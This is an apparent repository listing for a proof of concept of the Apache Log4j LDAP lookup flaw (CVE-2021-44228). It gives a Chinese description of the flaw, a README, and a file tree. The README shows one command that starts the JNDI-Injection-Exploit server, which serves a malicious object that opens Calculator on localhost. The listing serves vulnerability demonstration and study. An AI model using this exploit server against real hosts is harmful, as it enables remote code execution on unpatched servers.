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CVE-2021-44228 PoC — Apache Log4j 代码问题漏洞

Source
Associated Vulnerability
Title:Apache Log4j 代码问题漏洞 (CVE-2021-44228)
Description:Apache Log4j是美国阿帕奇(Apache)基金会的一款基于Java的开源日志记录工具。 Apache Log4J 存在代码问题漏洞,攻击者可设计一个数据请求发送给使用 Apache Log4j工具的服务器,当该请求被打印成日志时就会触发远程代码执行。
Description
Proof of Concept of apache log4j LDAP lookup vulnerability. CVE-2021-44228
Readme
# Apache-Log4j-POC CVE-2021-44228
Proof of Concept of apache log4j LDAP lookup vulnerability

You can read more about the vulnerability here:
https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/

How to run the provided ldap server that returns malicious object ? 

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "open /Applications/Calculator.app" -A "127.0.0.1"

# Courtesy: https://github.com/welk1n/JNDI-Injection-Exploit
File Snapshot

[4.0K] /data/pocs/25f0c61d46ee71cf6b7dd8b516efef2632fcd203 ├── [9.9M] JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar ├── [ 360] log4j2.xml ├── [130K] log4j-api-2.1.jar ├── [805K] log4j-core-2.1.jar ├── [ 722] log4j.java └── [ 459] README.md 0 directories, 6 files
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